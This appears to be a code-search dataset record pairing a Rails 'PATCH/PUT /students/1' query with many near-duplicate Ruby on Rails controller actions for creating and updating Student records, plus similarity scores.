"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student,\n notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def create\n @people_student = People::Student.new(people_student_params)\n\n respond_to do |format|\n if @people_student.save\n format.html { redirect_to @people_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @people_student }\n else\n format.html { render :new }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_path, notice: 'Student details were successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n validate_student(student_params)\n begin\n student = Student.create!(student_params)\n\n render json: {status: 'SUCCESS', message:\"Student registered Successfully with name #{student.name}\", data:student.reload}, status: :ok\n rescue => error\n render json: {message: error}\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student Info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: '生徒情報が追加されました' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Estudiante ha sido satisfactoriamente creado.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @studentgrade = Studentgrade.new(params[:student])\n\n respond_to do |format|\n if @studentgrade.save\n format.html { redirect_to @studentgrade, notice: 'Student was successfully created.' }\n format.json { render json: @studentgrade, status: :created, location: @studentgrade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @studentgrade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_user.students.build(student_params)\n @student.status = 'imcomplete'\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_entity = StudentEntity.new(student_entity_params)\n\n respond_to do |format|\n if @student_entity.save\n format.json { render :show, status: :created, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @manage_student = Manage::Student.new(manage_student_params)\n\n respond_to do |format|\n if @manage_student.save\n format.html { redirect_to @manage_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @manage_student }\n else\n format.html { render :new }\n format.json { render json: @manage_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_user.students.build(student_params)\n # @student = Student.new(student_params)\n # @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to admissions_url, success: 'Student record was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @current_lop.students.build(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to lop_students_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_student = Admin::Student.new(admin_student_params)\n\n respond_to do |format|\n if @admin_student.save\n format.html { redirect_to @admin_student, notice: \"Student was successfully created.\" }\n format.json { render :show, status: :created, location: @admin_student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @admin_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(admin_student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @enrolled_student = EnrolledStudent.new(params[:enrolled_student])\n\n respond_to do |format|\n if @enrolled_student.save\n format.html { redirect_to @enrolled_student, notice: 'Enrolled student was successfully created.' }\n format.json { render json: @enrolled_student, status: :created, location: @enrolled_student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @enrolled_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n @schools_students = SchoolsStudent.new\n @schools_students.student_id = @student.id\n @schools_students.school_id = params[:school_id]\n @schools_students.save!\n\n @contract = Contract.new\n @contract.student_id = @student.id\n @contract.save!\n\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @team = Team.new(team_params)\n\n respond_to do |format|\n if @team.save\n format.html { redirect_to @team, notice: 'Team was successfully created.' }\n format.json { render :show, status: :created, location: @team }\n else\n format.html { render :new }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n student_ids = params[:student_ids].to_a\n student_ids.each_with_index do |student_id|\n student = Student.where(id: student_id.to_i).first\n @team.students << student\n end\n end",
"def create\n @student_test = StudentTest.new(params[:student_test])\n\n respond_to do |format|\n if @student_test.save\n format.html { redirect_to @student_test, notice: 'Student test was successfully created.' }\n format.json { render json: @student_test, status: :created, location: @student_test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n @student.save\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_url, notice: 'Student was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @dojo_student = DojoStudent.new(params[:dojo_student])\n\n respond_to do |format|\n if @dojo_student.save\n format.html { redirect_to @dojo_student, notice: 'Dojo student was successfully created.' }\n format.json { render json: @dojo_student, status: :created, location: @dojo_student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dojo_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @studen = Studen.new(studen_params)\n\n respond_to do |format|\n if @studen.save\n format.html { redirect_to @studen, notice: 'Studen was successfully created.' }\n format.json { render :show, status: :created, location: @studen }\n else\n format.html { render :new }\n format.json { render json: @studen.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_type = StudentType.new(student_type_params)\n\n if @student_type.save\n render json: @student_type, status: :created, location: @student_type\n else\n render json: @student_type.errors, status: :unprocessable_entity\n end\n end",
"def create\n @student_interest = StudentInterest.new(student_interest_params)\n\n respond_to do |format|\n if @student_interest.save\n format.html { redirect_to @student_interest, notice: 'Student interest was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student_interest }\n else\n format.html { render action: 'new' }\n format.json { render json: @student_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.find(params[:student_id])\n @grade = @student.grades.new(grade_params)\n respond_to do |format|\n if @grade.save\n format.html { redirect_to student_grades_path, notice: 'Grade was successfully created.' }\n format.json { render :show, status: :created, location: @grade }\n else\n format.html { render :new }\n format.json { render json: @grade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @map_student = MapStudent.new(map_student_params)\n\n respond_to do |format|\n if @map_student.save\n format.html { redirect_to @map_student, notice: 'Map student was successfully created.' }\n format.json { render :show, status: :created, location: @map_student }\n else\n format.html { render :new }\n format.json { render json: @map_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student\n\n\t\tif(params[:student_user_id].eql?('null') || params[:classroom_id].eql?('null') )\n\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\t\telse\n\t\t\tstudent = StudentUser.joins(:classrooms)\n\t\t\t\t.joins(\"inner join teacher_users t on classrooms.teacher_user_id = t.id\")\n\t\t\t\t.where(\"t.id = ?\", @current_teacher_user.id)\n\t\t\t\t.where(\"classrooms.id = ?\", params[:classroom_id])\n\t\t\t\t.where(\"student_users.id = ?\" , params[:student_user_id])\n\t\t\t\t.first\n\n\t\t\tif(!student.nil?)\n\t\t\t\tstudent = student.as_json\n\t\t\t\tstudent.delete(\"salt\")\n\t\t student.delete(\"password_digest\")\n\t\t student.delete(\"oauth_expires_at\")\n\t\t student.delete(\"oauth_token\")\n\t\t student.delete(\"updated_at\")\n\t\t student.delete(\"create_at\")\n\n\t\t\t\trender json: {status: \"success\", student: student}\n\t\t\t\n\t\t\telse\n\n\t\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\n\t\t\tend\n\t\tend\n\t\t\n\t\t\n\tend",
"def create\n # binding.pry\n @student_id = StudentId.new(student_id_params)\n\n respond_to do |format|\n if @student_id.save\n if @enrolment\n format.html { redirect_to enrolment_student_ids_path(@enrolment), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to student_ids_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student_id }\n end\n else\n format.html { render :new }\n format.json { render json: @student_id.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.create(params[:inschool])\n\n respond_to do |format|\n if @inschool.save\n StudentMailer.mailer_inschool(@student, @inschool).deliver\n format.html { redirect_to :back, notice: 'Inschool was successfully created and an email sent was sent to the teacher.' }\n format.json { render json: @inschool, status: :created, location: @inschool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @student_instrument = StudentInstrument.new(params[:student_instrument])\n\n @student = Student.find(params[:student_instrument][:student_id])\n\n respond_to do |format|\n if @student_instrument.save\n format.html { redirect_to @student, notice: 'Instrument was successfully added.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n relate_with_courses\n format.html { redirect_to admin_student_path(@student), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n unless current_user.instructor\n render :nothing => true, :status => :unauthorized\n end\n \n # create team\n team = Team.create(name: params[:team_name], course: $selected_course)\n\n # add students to teams\n student_ids = params[:student_ids]\n student_ids.each do |student_id|\n StudentTeam.create(student_id: student_id, team: team)\n end\n\n render json: { success: true }\n end",
"def create\n @studenttest = Studenttest.new(studenttest_params)\n\n respond_to do |format|\n if @studenttest.save\n format.html { redirect_to @studenttest, notice: 'Studenttest was successfully created.' }\n format.json { render :show, status: :created, location: @studenttest }\n else\n format.html { render :new }\n format.json { render json: @studenttest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n hash = params[:post]\n student_id = hash[:student_id].to_i\n\n # check if student already has request submitted\n if Request.where(student_id: student_id).size > 0\n respond_to do |format|\n format.html { redirect_to Request.where(student_id: student_id).take, notice: 'You already have this request:' }\n format.json { render :show, status: 400 }\n end\n # check that student is registered\n elsif Student.where(id_num: student_id).size == 0\n respond_to do |format|\n format.html { redirect_to requests_path, notice: \"Invalid ID number: #{student_id}\" }\n format.json { render :show, status: 400 }\n end\n # create request\n else\n @request = Request.new(request_params)\n @request.student_id = student_id\n\n respond_to do |format|\n if @request.save\n format.html { redirect_to '/requests', notice: 'Request was successfully created.' }\n format.json { render :show, status: :created, location: @request }\n else\n format.html { render :new }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: '学生资料创建成功.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(students_url) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @students = Student.all\n render json: @students\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n add_model_error_to_flash @student\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @user = User.find_by_id(params[:user])\n @student.user = @user\n @department = Department.find_by_id(params[:department])\n @student.department = @department\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @student.kundenstatus = 1\n @student.percentage = 1\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_major = StudentMajor.new(student_major_params)\n\n respond_to do |format|\n if @student_major.save\n format.html { redirect_to @student_major, notice: 'Student major was successfully created.' }\n format.json { render json: @student_major, status: :created, location: @student_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @find_student = FindStudent.new(find_student_params)\n\n respond_to do |format|\n if @find_student.save\n format.html { redirect_to @find_student, notice: 'Find student was successfully created.' }\n format.json { render :show, status: :created, location: @find_student }\n else\n format.html { render :new }\n format.json { render json: @find_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_student = GroupStudent.new(group_student_params)\n\n respond_to do |format|\n if @group_student.save\n format.html { redirect_to @group_student, notice: 'Group student was successfully created.' }\n format.json { render :show, status: :created, location: @group_student }\n else\n format.html { render :new }\n format.json { render json: @group_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_new_student(student_name)\n object = controller_create(:student)\n fail format(\"Student '%s' not created.\", student_name) if object.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n student_name,\n object[:id]))\n object\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n # Add the course just created to this student's courses, better use the drop down list \n if params[:course] != nil then\n @student.courses << Course.find(params[:course][:id])\n end\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n \n respond_to do |format|\n if @student.save\n format.html { redirect_to convert_path(@student) }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def index\n puts render json: @user.students, each_serializer: UserSerializer\n end",
"def create\n @student = Student.new(student_params)\n @teachers = Teacher.all\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n else\n format.html { render :new, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_availability = StudentAvailability.new(params[:student_availability])\n\n @student = Student.find(params[:student_availability][:student_id])\n\n respond_to do |format|\n if @student_availability.save\n format.html { redirect_to @student, notice: 'Student availability was successfully created.' }\n format.json { render json: @student_availability, status: :created, location: @student_availability }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_availability.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t#for each student, create student params\n\t\t@student = Student.create!(student_params)\n\t\t#once created, go back to students path\n\t\tredirect_to students_path\n\t#wrap up \"create\" action\n\tend",
"def create\n @ststu = Ststu.new(ststu_params)\n\n respond_to do |format|\n if @ststu.save\n format.html { redirect_to @ststu, notice: 'Ststu was successfully created.' }\n format.json { render :show, status: :created, location: @ststu }\n else\n format.html { render :new }\n format.json { render json: @ststu.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n\n #-CONNECT THE SCHOOL AND THE STUDENT IF @school IS PRESENT\n @student.schools << @school if @school\n\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student creation successful.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:success] = t('student.created')\n format.html { redirect_to(students_path) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @group.students.new(student_params)\n respond_to do |format|\n if @student.save\n format.html { redirect_to group_students_path(@group), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to group_students_path(@group), notice: \"Student couldn't be created\" }\n end\n end\n end"
] |
[
"0.7277736",
"0.7135355",
"0.71114737",
"0.71114737",
"0.70372117",
"0.70311",
"0.70311",
"0.70311",
"0.70311",
"0.70311",
"0.70311",
"0.70311",
"0.6981121",
"0.6974331",
"0.6952658",
"0.6951065",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6949918",
"0.6940942",
"0.6932588",
"0.6918164",
"0.6892295",
"0.6883351",
"0.6882861",
"0.6882436",
"0.68339634",
"0.68103856",
"0.6717371",
"0.66683",
"0.6653532",
"0.66420585",
"0.6641761",
"0.66399556",
"0.66340095",
"0.66279477",
"0.6611542",
"0.66086227",
"0.65808",
"0.65620685",
"0.65428996",
"0.6535506",
"0.6500749",
"0.65003365",
"0.6497407",
"0.6492629",
"0.6485156",
"0.646409",
"0.64620304",
"0.6460147",
"0.64575857",
"0.6456369",
"0.6453041",
"0.64384305",
"0.6405534",
"0.63815874",
"0.63750523",
"0.6373127",
"0.63543797",
"0.63534796",
"0.6346592",
"0.63433206",
"0.63270456",
"0.63200545",
"0.6318902",
"0.6315283",
"0.62979764",
"0.6293227",
"0.6293075",
"0.6289927",
"0.6289095",
"0.62654173",
"0.6256478",
"0.62537503",
"0.624758",
"0.62471265",
"0.62385845",
"0.62088925",
"0.62085474",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205631",
"0.6205619",
"0.6204784",
"0.61990607"
] |
0.0
|
-1
|
PATCH/PUT /students/1 PATCH/PUT /students/1.json
|
def update
respond_to do |format|
if @student.update(student_params)
@student.set_book_limit
@student.save
format.html { redirect_to root_url, notice: 'Student was successfully updated.' }
format.json { render :show, status: :ok, location: @student }
else
format.html { render :edit }
format.json { render json: @student.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n if @student.update(student_params)\n render json: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def update\n # @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to students_path, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, :notice => 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, :notice => 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
